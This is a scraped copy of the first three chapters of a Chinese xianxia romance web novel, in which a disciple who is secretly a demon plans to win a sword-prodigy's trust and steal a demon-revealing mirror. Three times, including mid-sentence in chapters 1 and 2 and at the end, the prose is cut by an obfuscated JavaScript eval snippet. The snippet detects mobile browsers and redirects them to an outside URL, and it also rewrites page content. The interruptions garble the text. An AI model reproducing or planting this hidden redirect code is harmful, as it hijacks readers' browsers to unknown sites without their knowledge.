《始乱终弃死敌前任后GB》 1. 第 1 章 《错误征服高岭之花GB》 无衣武/作品,2025.6.20晋江文学城独家发表 谢叠芳在风雷岛时,中二病藏得深,没人知道温柔和善的扶光仙子私底下是另外一副面孔:一群手下败将,没一个能打的,败给天上天下至尊无敌冠绝三界第一神箭手,也算你们荣幸。 直到春试上,她败在师弟展言岚天地第一剑之下,她咬牙暗恨:好小子,扮猪吃虎,好手段! 两个第一,一个第一输给另一个第一,怎有不恨。 比试前展言岚假谦虚,故作修为尚浅,原是要她放下戒心。 东璩洲风雷岛终年阴云不散,雷电交加,充斥肃杀之气,海浪翻涌,接踵拍岸,恰似谢叠芳心情。 春试结束,夺魁之人不是众人意料中永居榜首的谢叠芳,而是头一回参加春试的展言岚。 这意味着南疆诛魔行动带领者是展言岚,余下弟子无一不艳羡。 展言岚凡人之躯,天生剑骨,千年难遇的剑修天才,一身浩然正气,当为正道魁首。 他得师尊青睐,岛上无数弟子视他为楷模,不少同门师妹也对他倾慕不已,可叹这位高岭之花至今未结道侣,不近女色,她们只敢远望,不敢唐突。 方才展言岚与谢叠芳比试,固然点到为止,但其修为绝不在诸位师兄师姐们之下,可惜诛魔行动不同于春试,他入门不过百年,诛魔经验尤为浅薄。 细细考量,终究难以服众。 道理是这个道理,但棋夫子还是当着众人的面,亲手将鉴魔镜交付给那位清冷疏离,犹如天外白鹤的蓝衣青年。 棋夫子语重心长:“言岚,涂火鸟生性残暴,扰周围凡人百姓不得安宁,但它护子心切,你可借此弱点诛之,最好活捉上岛,永绝后患,切莫令我失望。” 展言岚从容不迫,郑重道:“弟子领命,不负师尊所托。” 仙侍将鉴魔镜和匕首一并呈上,展言岚接过,利刃在左手食指上划了一刀,血滴从指尖流下,坠落镜面,算是滴血认主。 此刻起,鉴魔镜只听从展言岚号令。 修士之群里,封单月很不是滋味,面上不忿,候在一旁的严观苍风轻云淡,倒沉得住气。 要不是展言岚夺得魁首,诛魔行动带领者必从他们二人中选出,严观苍如今奇怪谢叠芳惊艳一箭,难逢敌手,今时因何落败? 恰逢这时,棋夫子看向谢叠芳,不轻不重道:“方才比试,见你伤势似乎还未完全痊愈。” 谢叠芳脸上挂淡淡笑意,回道:“劳师尊挂念,区区一个江满不至于让弟子重伤不愈,弟子炼制的冷雪丹药效颇佳,服下勤加调养,很快就能痊愈。” 冷雪草生于南疆,百年生根发芽,千年成熟,最是难得,三株方能炼制出一枚冷雪丹,十分珍稀,其效不仅能克制火毒,还能增进修为。 棋夫子颔首,“丹房由你执掌,炼制冷雪丹容易,诛魔行动急需解毒丹,你有伤在身便好生调养,督促炼制解毒丹的事务交给言岚罢。” 风雷岛丹药一律由丹房炼制,经谢叠芳之手,仔细验过,品质过关才能分配给所有修士。 明眼人皆知师兄师姐们当中,最不能得罪的便是谢叠芳。 她虽多时待人温和可亲,少与人结恶,但行事严谨,对丹房弟子严苛,且先不说她修为已至阴阳境后期,箭术超凡,只凭精通炼丹术,采集仙草之能,就已让人心服口服,讨好还来不及,谁敢无故开罪? 师尊明知谢叠芳素来不喜有外人插手丹房之事,还是为展言岚破例。 空气凝固般诡异,封单月也不由瞟向谢叠芳。 见她滴水不漏,很快接话道:“一切听从师尊安排。” 随后她偏首,定格展言岚身上,语气亲切道:“展师弟,到时你要亲自来一趟,切不可像每回领取丹药一样拜托林师弟,交接炼制解毒丹一事极为重要,马虎不得。” 封单月诧异,这位高岭之花居然目中无人到这种地步,仗着师尊偏爱,至今连谢叠芳都不肯赏脸。 闻声,展言岚身形一顿,微微踅身,却没正视谢叠芳,一搭眼帘,道:“是,师姐。” 鉴魔镜之主落定,春试落下帷幕,众人散去,唯独封单月没走,小师妹穆云禾随行,远远看着负责收拾擂台的弟子。 此时,严观苍走近,喟叹道:“单月,你大意了,防人之心不可无,我早说展言岚极有可能带领诛魔行动,若你听取我意见,劝说谢叠芳示弱早些败给你,兴许有翻盘之机……但如今说这些也无用,过几日前往南疆,我们就好好等展言岚大功一件归来罢。” “谢叠芳会示弱?”封单月微阖的眉眼瞥来,闪过一丝质疑的困惑,不容置疑道:“如此强势之人,眼里容不得沙子,你方才也亲眼所见,若不是师尊发话,她绝无可能同意展言岚介入丹房事务。” “谢叠芳前些时日诛杀魔修江满未遂,负伤比试,又遇展言岚那样强劲的对手,两人虽同为阴阳境修士,但谢叠芳重伤未愈,落于下风不难猜测,不另寻它法,你便愿眼睁睁看展言岚如愿以偿?假以时日,他满载而归,你我日后境地如何,你应该有数,焉知……” 封单月冷笑一声,打断道:“展言岚毫无诛魔经历,难以服众。” 她说时猛然回头,而谢叠芳不知何时站在严观苍身后,悄无声息,她一身浅粉荷花袖长裙,海风轻轻吹起衣襟上绢花缝制的一朵朵海棠,阴冷暗沉的光线映衬下,她那副笑意盈盈的样子显得阴恻恻。 封单月眼皮一跳,登时住了嘴。 严观苍察觉不对,回身见谢叠芳淡然自若上前,笑意不减:“我已然不止提醒过一次,可二位还是不长记性,私下妄议谈他人前,还是事先注意那人究竟在不在。” 显然,这种事不是谢叠芳第一次撞见,她原路返回,只为取走比试射出的金羽箭矢,可偏不巧,又撞见这两人商量对付展言岚的法子,顺便借她上位。 严观苍不以为意,直白道:“你十分看重春试,即使不参与诛魔行动,依旧十分在意,现下展言岚夺你春试第一,你当真心无怨怼?” 谢叠芳纤手从箭杆抚到锃亮箭簇,深海银母铸成的箭簇锋锐坚固,天地第一剑湮尘剑也未损它分毫,她顺势收起,总算回头,“坦白说,与他结怨之人不比倾慕者少,二位不妨猜上一猜我属哪一类?” “还用猜?”封单月嗤笑,却瞥见谢叠芳收敛几分笑意,毫无玩笑的意味,微微蹙眉,忽道:“你莫要说你倾慕于他。” “自然不是,可我与你们也不是同一类人,我不自诩自己是什么好人,嫉恶如仇,见义勇为,与我丝毫不沾边,否则早去揭发二位,我看不惯展言岚,记恨他夺我春试第一,恨也恨得明明白白,可不会暗地里使绊子,明面嘘寒问暖,好不热心。” 谢叠芳上弯唇角,她明明在笑,眼里却毫无笑意,冷漠至极。 封单月脸色变了变。 严观苍俨然挂不住脸,“……谢叠芳。” 谢叠芳不以为意,看向穆禾云,面不改色,“说破污秽的陈年旧事,不堪入耳,穆师妹踏入修行路不久,少听为妙,一心修炼心无杂念,方为正途。” 穆禾云刚才听了个大概,忽然被指名道姓,顿时一激灵。 谢叠芳话已至此,穆禾云只好暂退远观,狂擦额头冒出的冷汗。 二师姐不可貌相,貌似娇花,竟如此咄咄逼人,传言有假,传言有假…… 待穆禾云走远,封单月舒了口长气,平复情绪,“你当如何?” 谢叠芳笑了一声,“事情都那么久远了,展言岚不会不知你们联手偷偷往他铸剑池里倒腐蚀之水,他不向师尊揭发,你们也不希望我把事情捅到师尊那儿罢?” 说时,她慢慢走向封单月,近身附耳,“我不为难, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902424|176700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你只需告诉我,这次诛魔行动具体前往南疆何处?” 封单月起初不语,转眸定定看着谢叠芳,奇怪她问这个做什么,又听她恶鬼胁迫地低语:“告诉我,不然铸剑池的腐蚀之水……” 封单月心口一时之间似有巨石压迫,低声吐字,“……小敦村。” 谢叠芳浅浅一笑地退开,只身离去。 穆禾云此前云里雾里,目光追随她,直到柔倩黯影消失,走来嘀咕道:“谢师姐真奇怪,对历年春试第一势在必得,却不在意诛魔行动带领者花落谁家。” 严观苍咬牙切齿道:“你刚上岛,很多事情无从知晓,即便你谢师姐夺得春试第一,诛魔行动带领者也轮不到她,谢叠芳是三界中唯一不诛魔的修士,别看她风光无两,其实从不参与诛魔行动,她诛的仅仅是魔修。” 南疆小敦村被魔物袭击已经不是第一次发生,五百年一次惨遭魔物屠村,震惊仙盟。 自此以后,仙盟盟主命盟中仙门注意魔物动向,一旦风吹草动,立即动身围剿诛杀。 谢叠芳回到丹房,关上门,一条小黑蛇即刻从墙缝爬出,柔韧蛇身攀上谢叠芳,一圈圈乌光卷在她右臂,竟是魔物乌鳞蛇,在她臂上格外乖顺。 它嘴吐蛇信,口吐人言:“主人,春试结果怎么样,是不是按计划的那样,展言岚赢了?” 谢叠芳一笑置之,“如你所言。” 魇音异常兴奋,“你和展言岚不熟悉彼此,他不像其他人处处提防着你,更容易得手,取他一滴心头血解鉴魔镜封印不算难事。” 对于展言岚,过去两人鲜少交流,他总避着谢叠芳,不知是不是头一回见面闹出乌龙事件的缘故,展言岚当着她的面,竟把大师姐代芊兰错认成自己,闹了个乌龙。 之前谢叠芳只觉头疼,也无甚意思,但不妨碍他日后成为她眼中钉,这次尤甚。 按计划,春试上谢叠芳要故意输给展言岚,鉴魔镜好认他为主,可是谢叠芳到底小瞧他。 湮尘剑最后一剑,剑气凛然,涤荡千里,谢叠芳真切败下阵来,哪怕她全盛时期,破他这一剑也讨不着好处。 于是谢叠芳将计就计,在众人面前格外真实地败给展言岚。 更何况,她没有不输的理由,体内仙气魔气混作一团,必须尽快解决,不能一拖再拖,鉴魔镜必须盗取,错过这次机会,焉知下次机在何时。 谢叠芳半卧榻上,闭目养神,“那你说说看,什么法子容易。” 魇音道:“非常理之事不以常理出牌,我听说展言岚不近女色,情史一片空白,曾有仙门女子向他示好,全都被他拒绝,且不说心仪的女子,他那木头脑袋,今后道侣都难说。” “不过倒给主人可乘之机,反其道而行之,主动接近他,不谈情,先让他放松警惕,骗取他的信任,再走近他的心,让他动情,主动讨好主人,这种程度足够了。” “再然后,让仙门无数迷妹看看这位高岭之花是怎么拜倒主人石榴裙下,发自肺腑说爱主人时,主人再狠狠拒绝他,锥他心刺他骨,我们就带着鉴魔镜溜之大吉。” 谢叠芳听到一半,倏然睁开眼,心有疑虑,见魇音说得眉飞色舞。 她幽幽道:“你不恶心吗?” “啊?”魇音愕然,看着谢叠芳极为认真的神情,居然没怀疑她对毫无情爱经验,反而怀疑自己的品味,“……我听了几十年的人界话本,不都这么写吗?” 难怪会在看话本入迷时,被风雷岛修士抓个正着。 谢叠芳一声“罢了”,掀裙起身,“此法行得通,尚可一试。” 她也很期待展言岚上当受骗,会是怎样一副模样。 魇音正要乐呵,赶上门外有人传话:“二师姐,展师兄人已到丹房。” 来得正好,还以为他不敢来。 先试探这好小子是不是真的油盐不进,对她有偏见。 2. 第 2 章 丹房修士们忙里偷闲,谈笑有声,见谢叠芳登云梯赶来丹房,个个默契闭上嘴,佯装忙碌,无事散开。 谁料,谢叠芳路过看都不看他们一眼,径直往丹房。 一个丹修探头,窃窃私语:“我没看错?二师姐居然不理睬我们。” 另外一个女修诧异:“你没看错,方才二师姐脚步飞快,眨眼间就进屋了。” “依我之见,二师姐铁定有比管束我们还重要的事,听说没,展师兄接手这次诛魔行动炼制解毒丹的事务,刚才展师兄来了。” “……” 谢叠芳踏进丹房那一刻,见到来的人,如花笑靥顿时僵硬。 展言岚如约而至,林昭夜这个碍事精也来了,也正因之前展言岚的丹药都由他代领,害得谢叠芳和展言岚毫无单独相处的机会。 两人如今疏离见外,有一半拜林昭夜所赐,这会儿又叫谢叠芳如何下手? 还有,展言岚是不是真患了疑心病? 谢叠芳心里一阵无可奈何的愠怒。 展言岚果真还在纠结那次乌龙事件,不然也不会与林昭夜同行,谢叠芳当时说不介意,展言岚倒耿耿于怀,见面都跟防贼似的防她。 林昭夜见谢叠芳来了,笑得谄媚,迎上来,“二师姐,师弟来领月例丹药,可否通融通融?” 他修为到了瓶颈,近日沉心修炼,试图突破,丹药比以往消耗得快,碍于此,他这次诛魔行动也没心思参与。 谢叠芳不动声色:“你提前了几次?” “不多不少,两次。” “事不过三,”谢叠芳故意瞥了展言岚一眼,蓝衣青年神态自若,静默于座,她随后道:“今日我要事在身,下不为例,你找外面的丹修领罢。” 林昭夜通人情世故,对这一眼了然于心,连忙道谢,离开前取桌上佩剑,不忘拍了拍展言岚肩膀。 谢叠芳未发话,略过展言岚,灭了丹鼎的火,一鼎可炼制十枚解毒丹,这些解毒丹便是谢叠芳提前为诛魔行动准备的。 比起仙盟顶尖的丹修,她炼丹术不敢号称第一,但第二,实至名归。 只可惜,后面用不着她了。 丹房内阒然无声,谢叠芳将解毒丹取出装瓶,余光瞥见展言岚无动于衷,身姿清冷坚韧,像尊供人膜拜的神灵。 他出身人界,七情六欲一样不少,本该灵活生动,即便离世脱俗,也洗不去红尘留下的痕迹,但展言岚不一样,他彻底脱胎换骨。 棋夫子教化人的功夫果然厉害。 于旁人而言,展言岚是千年难遇的天才,天外天的出尘仙。 可在谢叠芳眼里,他像个没有感情的石像。 清俊面庞毫无生气可言,僵硬、淡漠,时而还会故作委屈谦让之态,令她生厌。 思及此,谢叠芳恨意又起。 棋夫子不知出于何种不纯目的拿她当试验品,似乎下一盘大棋,不惜封她魔身,逆天而行,以魔物之躯修炼仙门功法,为其掩护于风雷岛,亦利用她对付魔物,手上沾染同族血腥。 彼时,谢叠芳如坠冰窟,亦恨透自己。 棋夫子图谋未知,谢叠芳清楚不能打草惊蛇,决心蛰伏,被魔修江满重伤后,她得药仙谷谷主获救,佯装无事回岛,为查明真相,夺走鉴魔镜当为重中之重。 眼看棋夫子应当十分满意展言岚这位弟子,继承他两分相似,不惜力排众议,心偏到对岸去了。是以,谢叠芳从中作梗,选择展言岚作为鉴魔镜的载体。 展言岚是目标,但也是将来最大的隐患。 冒这两重风险靠近展言岚,谢叠芳步步为营,可谓铤而走险,可她是从不怕事的人。 要杀棋夫子,先除展言岚,若不是碍于他是放置鉴魔镜最好的人选,她绝不会让他活到今日。 “我很可怕?”谢叠芳双唇翕动,忽然打破诡异的平静。 展言岚缓缓抬头,从思忖出神拉扯回来,眸色亮了亮。 随后那点眸光转瞬即逝,他敛回目光,默了默,“不可怕。” 谢叠芳却道:“那为什么不跟过来?” 展言岚下定某种决心般,起身往前几步,躬身微拜,诚恳道:“二师姐,对不住,当年我认错师姐,喊错了人,是我无礼。” 即便林昭夜教过他,他这会儿心生窘迫,面对谢叠芳,还是难以启齿。 先道歉,赔不是。 他硬着头皮如实做,还是免不了心慌意乱,那么,接下来呢? 紧握的手沁出薄汗。 展言岚双唇抿成一条线,正要往下说,一只纤手隔着衣料扶住他手臂,他低头,一股淡淡的药香混着若有似无的花香萦绕鼻尖。 展言岚察觉那道身影忽地靠近。 近在咫尺。 他脚上发颤,往后退了退。 上方的女子似乎察觉他的异样,却毫无责备之意,“无妨,当时你也致歉过,不必旧事重提,正事要紧。” 展言岚起身,瞥见谢叠芳转身,眉目间似有对他道歉的诧异。 那丝掠动的讶异很快沉入谢叠芳心湖,她好整以暇,收拾好解毒丹,开始为展言岚讲解丹房炼制丹药的流程,以及着重炼丹时必须注意的地方。 却没注意到,展言岚一手死死扯住方才谢叠芳接触过的衣料,神色隐晦。 两人从丹房行至院外,又回到原地,一代交代妥当,谢叠芳回头问:“明白了吗?” 展言岚手里捧着一本书,停步抬头,与谢叠芳笑靥撞了满怀,她就在站在三步开外,微微抬眉,颇为期待地凝望他。 被这热烈的目光触及,展言岚赶忙低头记录,“谨遵师姐教诲。” 谢叠芳事无巨细,毫无保留传授给自己,她固然为箭修,却对炼丹术却有独一份的见解,与其他丹修不同,只是他是否能胜任这个任务,尚未可知。 这时,谢叠芳停步,似乎看破展言岚忧虑,欣笑,柔声安慰:“不必紧张,丹房修士都是千里挑一的人才,只偶尔粗心大意,炸了丹鼎,但你只需看着他们按规矩来便不会出岔子,我会叫老成的丹修多帮衬帮衬。” 展言岚点了点头,心安几许。 至少目前为止,事情好像有些转变,两人交谈融洽,不似林昭夜所述二师姐是出了名的上进,他夺管理丹房之权,二师姐兴许对会他产生敌意。 不过,总是事事眼见为实,如今云开雾散,展言岚确轻松不少。 谢叠芳方要离开丹房,望见他所写内容,有意无意道:“师尊格外看重你,这般荣幸,不是一般人能拥有,望你诛魔行动取个好成果。” 不待展言岚回话,粉衣掠摆,谢叠芳走得极为潇洒,蝶一样飞远,只有她清楚丹房离手这一次便是永远,丹房是她多年心血,即便是生厌之人接手,她也不希望它被搞砸。 回居所的路上,途经紫樾林花草丛开,魇音不明白展言岚道歉之事,嘴里抱怨个不停,见谢叠芳心事重重不回话,便问道:“方才见主人温声柔气,这般顾及展言岚,该不会接受他的道歉才如此的吧?” 谢叠芳眉目生冷,早已无那副温和之态,口吻冰冷。 “我管他做甚?我只管我做何想,你以为我原谅他是因为他真心悔过?错了,原谅、关怀他是想让他放下偏见,日后好信我的话,对付展言岚这般死板,一味愚忠棋夫子之人,争锋相对,只会适得其反。” 展言岚不同于封单月、严观苍,目前看来,他更难对付。 七日后,严观苍目睹诛魔队伍浩浩荡荡乘船出海,展言岚确实如期将解毒丹炼制完毕,无波无折,显然谢叠芳根本没有为难他,还派人相助。 只是严观苍今日去丹房,却不见谢叠芳身影,她成日待在丹房哪也不去,每回领取丹药她必在场,如今能去哪儿? 问过丹房修士,才知谢叠芳三日前出岛采集冷雪草,这次解毒丹用尽库存,她也为补充药材而去。 谢叠芳抵达南疆已有两日,她第一日与魇音分开,魇音负责寻找涂火鸟踪迹,掩护它,她则采集足够的药材后,守株待兔在诛魔队伍前往小敦村的必经之路。 南疆虫蚁多,不乏毒物,唯恐遇到一些逃出南疆魔域的剧毒魔物,谢叠芳多带了几枚解毒丹,以备不时之需。 诛魔队伍一进南疆,还未遇到魔物,几名修为尚浅的修士便被毒虫咬伤,服下解毒丹休整,多耽搁了几个时辰,以致于谢叠芳找到他们时,天色将暗。 谢叠芳抓紧时间,赶在天黑之前,找个合适的机会加入队伍。 落日沉于天畔,些许昏光漏入丛林,此处奇异树藤横生,手臂粗壮的藤蔓缠绕树干,是涂火鸟常择筑巢之所。 眼见周围的变化,众人知晓目的地近了。 走在前面的几名修士负责探路,嫌路旁的藤蔓碍事,举剑便砍,将藤蔓尽数砍落一地,原先是一些普通的树藤,偏叫一名胆大的刀修发现一条色泽不对的藤蔓,通体透着青蓝,天光一暗更明显,他一股脑砍下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902425|176700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斫不断,又使用灵力。 方要砍第二刀,那条毒萤藤蔓毫无声息绕开树干,从地下偷袭,倏地缠住此人脚踝,高高吊起。 发生只在一瞬间。 刀修尖叫,高呼救命,动弹不得,全身都被缠住,使不上劲,那毒萤藤有灵性,欲取他性命,分泌的毒液往肌肤里渗。 一声破空的锐响! 摇荡间,刀修抬眼见一支金箭一齐射破三片树叶,蓦地朝他所在的方位射来,吓出一身冷汗。 锋锐的金羽箭矢,擦过鞋履,也一同擦破毒萤藤铁皮般坚固的皮,猛地扎进后面的树干。 毒萤藤吃痛,狠狠甩下人,匆忙赶到的修士们见一条巨大的毒萤藤蔓往地里钻,眨眼间无影无踪。 那刀修中毒不深,倒在地上,但已全身麻痹,无法自理,几人赶紧扶起他,喂他服下解毒丹。 展言岚则走到那棵落箭的树下,但见那支金羽箭矢流光溢彩,在暗沉丛林中一度闪烁,慢慢黯淡。 而箭矢的主人已从重重树影显现身形,她一身粉裳,衣袂飘飘,从高处蹁跹而至,手持金乌弓,脚步匆匆,见到那名刀修无恙,叹道:“还好人没事。” “二师姐,你怎么在此处?”穆禾云认出了她。 “怎么是你们?”谢叠芳愕然扫视一圈,也颇为意外遇到诛魔队伍。 她拿出那套遍好的说辞,耐心解释,她正是采集仙草途经此处,本打算寻个地方过夜,天亮后再打道回府,半路听有人呼救,是以出手相救。 她的储物袋装满仙草,包括三株冷雪草,未接触此仙草的修士们就算没见过,也对它的声名有所耳闻,赞叹声不绝如耳。 众修士对谢叠芳的偶遇之理毫无怀疑,相信她来南疆采集仙草,不过很巧的是碰上诛魔队伍,顺便救下同门修士。 谢叠芳瞧见天色已晚,则问道:“诸位可寻到过夜之处,我能否随同将就一晚?” 众修士纷纷摇头。 偌大南疆路径蜿蜒,众修士为避开毒物密集地,特地绕了一大圈找到关于涂火鸟的一点线索,现在又遇到毒萤藤袭击,寻找过夜之处便成了后话。 “我已寻到合适的过夜处,出了这片丛林,前方便是石松崖,我们在那儿落脚吧。”展言岚走来,手里拿着南疆图纸,来到谢叠芳面前,递上一支金羽箭矢,“多谢师姐出手相救。” “举手之劳,何足挂齿。”谢叠芳微笑接过,跟上队伍。 路上,展言岚目光时常流连于谢叠芳身上,每每话语辗转于唇,却又缄默于口,谢叠芳仿佛浑然不知,她走在前面,与众修士相谈甚欢,颇受欢迎,确是同门中那位温柔和善的二师姐。 丹房内她热心良善,眼前的她亦然,展言岚却总隐隐觉得两人隔着一座无形的山般,若即若离,如此落差,一时间他难免失落。 日落西沉,天彻底暗下来,荒野里虫鸣声此起彼伏。 队伍绝大部分都是八脉境修士,还未辟谷,自备辟谷丹,对于展言岚和谢叠芳,自是不必。 众修士捡了些干柴生火,深夜里多了亮光,黑魆魆的山壁密林得以少了几分阴森可怖。 展言岚喜清净,远离喧嚣,来到对面山壁的一端,择一块清净地,独自盘腿打坐。 阖眼前,他看了眼天上明月,感受人间风光。 百年来从未出岛,抬头风云变幻,低头惊涛骇浪,风雷岛外的明月他甚是久违,如果有机会,他想去中州看看。 一样的明月,到哪儿看,究竟有何不同,展言岚身心荒芜,渴望知晓。 而这些,谢叠芳尽收眼底。 她立身展言岚对面的山壁一端,拎着一袋灌满青梅酒的酒囊,她素日嗜酸甜,每逢出岛必备青梅酒,而这次,是特意准备给展言岚的。 她要展言岚破戒,这青梅酒便是第一戒,先灌他几分醉,吐露真言,如此一来,触及心中柔软,心性坚固者也难逃她掌心。 谢叠芳飞跃而至,放缓脚步,轻轻走近展言岚。 展言岚闭目凝神,他有一副好皮囊,月色也成了配角,落在完美无瑕的面容,只为衬他清骨秀朗。 有人近身,展言岚有所察觉。 睁眼,一回首,却见谢叠芳不惊尘烟地走来。 她的到来对于展言岚像个需要按捺住雀跃的惊喜,而她递来的酒囊,似乎才是她准备的惊喜。 她坦荡对上他略微错愕的眼睛,莞尔一笑。 “你要喝点吗?” 3. 第 3 章 月夜凄清,月色淡淡。 展言岚看见谢叠芳犹如蟾宫降临人间的圣洁仙子,眼波流转,温柔化于眉间,又似凡间少女,笑靥天真烂漫。 夜风卷起她的荷花袖,她挽了挽,露出一截皓腕,倾身而来,“展师弟,你要不要喝点青梅酒?” 她突然离得这般近,音色淡淡,香气也淡淡,展言岚不禁心头一悸,连忙偏开目光,笨拙地解释:“抱歉,我……” 谢叠芳似乎不听展言岚解释,把酒囊直接塞给他,像背着大家伙偷偷分享一般,她笑道:“上好青梅酒,旁人我可舍不得忍痛割爱,喏,仅此一回。” 青梅酒的酸甜令人迷醉,展言岚不敢多喝,生怕误事。 然而,谢叠芳则静静陪在他身侧,哪儿也不去,也什么都没说,山壁幽静,展言岚听到她均匀的呼吸,以及胸膛后自己那颗缓急的心跳声。 再三犹豫下,展言岚问她:“你不问我为何不和其他修士待在一处?” “你有心事。”谢叠芳声色轻柔、和悦,眼底泛起清亮水光,“既是心事,我又何故再问,任何人心里边都会藏着心事。” 她的神情犹如疼爱孩童的慈母,言辞有直击人心的力量,展言岚牵动唇角,难得笑了,有几许不知疾苦的纯净无邪。 被鼓动到,他像个孩子一样分享秘密,问道:“你想不想听?” 谢叠芳道:“……是不是关于你的出身?” 展言岚遽然变了神情。 她猜错了他心思,无意触及痛处。 谢叠芳没有再说下去,她看见他沉默不语,微微偏首,极力掩饰内心的脆弱,像尊心事重重的石雕,好一会儿他才低沉道:“师姐是不是也对我的出身略所耳闻?” 谢叠芳不置可否,点了点头道:“岛上皆传你来自人界……你不想说,那便不必再说。” 展言岚深呼一口气,有几分解脱的况味,摇头道:“师姐不是外人,除了师尊外,旁人从未真心待我,只有师姐……所以,我想说与你听。” 他眼里漾着认真的眸光,这次终于敢回头注视谢叠芳的目光。 她那双桃花眼浓浓温柔,妩媚多情。 “我非天生修仙者,我的父母都是普通的凡人,父亲从我记事起便不在了,五岁时母亲死于一场瘟疫,我成了孤儿,四处流浪,饥寒交迫,若遇到好心肠的人家会赏我一点残羹剩饭充饥,破布旧衣御寒,没有的话,与野狗争食,到荒野扒树皮、挖草根……” 展言岚无奈的声音在静夜里响起,传荡仅有他们两人的山壁间。 “倘若没有天生剑骨,我不会遇到师尊,更不会有今日成就,早已死在某一年寒冬。” 堂堂天地第一剑的主人,竟亲手撕开自己卑微凄惨的过去说给旁人听,但或许决定说的那一刻起,谢叠芳在展言岚心中早已不是旁人。 这番话后,展言岚苦涩地笑了笑。 他心绪低沉,身侧温香软玉,谢叠芳坐近了些,挨着他,花气熏人。 她虽没说话,静声聆听,眼有忧郁,仿佛感同身受。 风声止住,幽静重归山壁,什么都没有变,但又似乎变了些什么。 展言岚心境变了,他有体恤他的知己,说体己话时对方安心聆听他的过去,那么,谢叠芳呢? 在谢叠芳心中,现在的展言岚算什么? 她会不会因为他凄惨的过去而一时心软? 此刻,谢叠芳幽幽叹息,“你想回故乡吗?那毕竟是你出生的地方。” 展言岚尝过失去双亲的滋味,故乡离他太遥远,况且他早无惦念之人,摇头淡淡道:“我的故乡在中州的某一处角落,可究竟在哪儿,我并不知晓……母亲是带我背井离乡。” “何况师尊待我如亲子,我不会离开风雷岛,辜负师尊期许。” 两人不再说话,这段有头无尾的谈话正当也快戛然而止,却在这时,诛魔队伍所在的那片山壁忽然传来异常的喧闹。 天色将暗前,众修士只备了一捆干柴,待燃尽,后知后觉不够度过今夜,方才穆禾云和两名修士在周围拣捡干枯的枝叶,没走太远,意外在石壁缝隙内发现三枚涂火鸟的鸟卵,更惊骇的是,枝叶遮蔽下竟还有几根人的腿骨为其掩盖。 得来全不费工夫,涂火鸟的鸟卵比涂火鸟更难得,三人慌忙喊来其他修士,只是碍于这些诡异的腿骨,修士们不敢轻举妄动,有些人拿不定主意,欲请展言岚,却被穆禾云制止。 她心高气傲,“师尊说了,只要找到涂火鸟,即刻诛杀,若是活捕再好不过,找到鸟卵,还愁不到找到涂火鸟?至于这些腿骨,约莫是那该死的涂火鸟残害无辜百姓,筑巢之用,赶紧处理掉。” 穆禾云入门虽晚,但有三师姐封单月撑腰,颐指气使,在场没有人敢冒犯她,纷纷如实照办,将腿骨扔到一旁。 穆禾云随即指挥道:“你们几个,把鸟卵搬到休息的地方去。” 出岛前,封单月叮嘱过她绝不能让展言岚如愿以偿,风风光光满载而归,若成夺他诛杀涂火鸟之机,再不济暗地里使使绊子。 总之,鸟卵是她先发现的,展言岚休想分一杯羹。 涂火鸟的鸟卵比一般飞禽的卵还大,卵壳光滑温热,两人勉强搬动一枚,最后一组笨手笨脚,鸟卵磕碰出有裂缝,赶巧让回头的穆禾云瞧见。 她怒气冲冲,“你们两个怎么回事,都把我的话当耳旁风了?鸟卵碰坏了,回岛之后你们自个向师尊解释吧!” 一人极力解释,“穆师妹,这鸟卵比前面两枚大得多,更沉,你看能不能加个人捎把手?” 穆禾云哪管那么多,“少废话,赶紧的……” 她话未落地,那枚有了裂缝的鸟卵从中间登时裂开一条缝,一只羽翼未丰的雏鸟挣扎地探出头,半个身子还留在卵壳内,极力长着嘴,似乎等待母亲喂食。 “活了!活了!” 涂火鸟一旦孵化等同于无用,它还未继承其母传授的火术,甚至不如一只死掉的成年涂火鸟有价值。 穆禾云嫌捎上它麻烦,又恐打草惊蛇,提前引来涂火鸟攻击,于是决定召符诛之。 她掐诀引符,燃起道火,正要将雏鸟就地格杀。 恰逢起了一阵妖风,瞬间扑灭道火,道符被刮走,风之大,几欲将人吹远。 经验较为老成的修士立马察觉不对,大声叮嘱道:“诸位当心,有魔物在附近!” 他们聚拢一起,开起一道剑印御之,一只巨大的涂火鸟已自山壁深渊处忽地一跃而起,羽翼可遮半边山壁,展翼扑腾,大风又起,比方才更甚,厉风过处,片甲不留。 而那鸟卵和雏鸟,不知在大风裹挟在飞往何处。 眼见剑印快抵御不住,涂火鸟钩喙凝聚火团,即将喷薄而出。 “快!快寻展师兄来!” 穆禾云不死心,待剑印一解,众修士化作鸟兽散,她命身旁几人留下和她一同诛杀涂火鸟。 察觉动静不对的谢叠芳和展言岚两人互看了眼,不约而同赶去,御剑而来的剑修忙不迭落地,汇报道:“展师兄,涂火鸟现身了!” 后面的谢叠芳面色一变,随即瞟向展言岚。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902426|176700||http|test|mini|href|location''.split(''|''),0,{})); () { 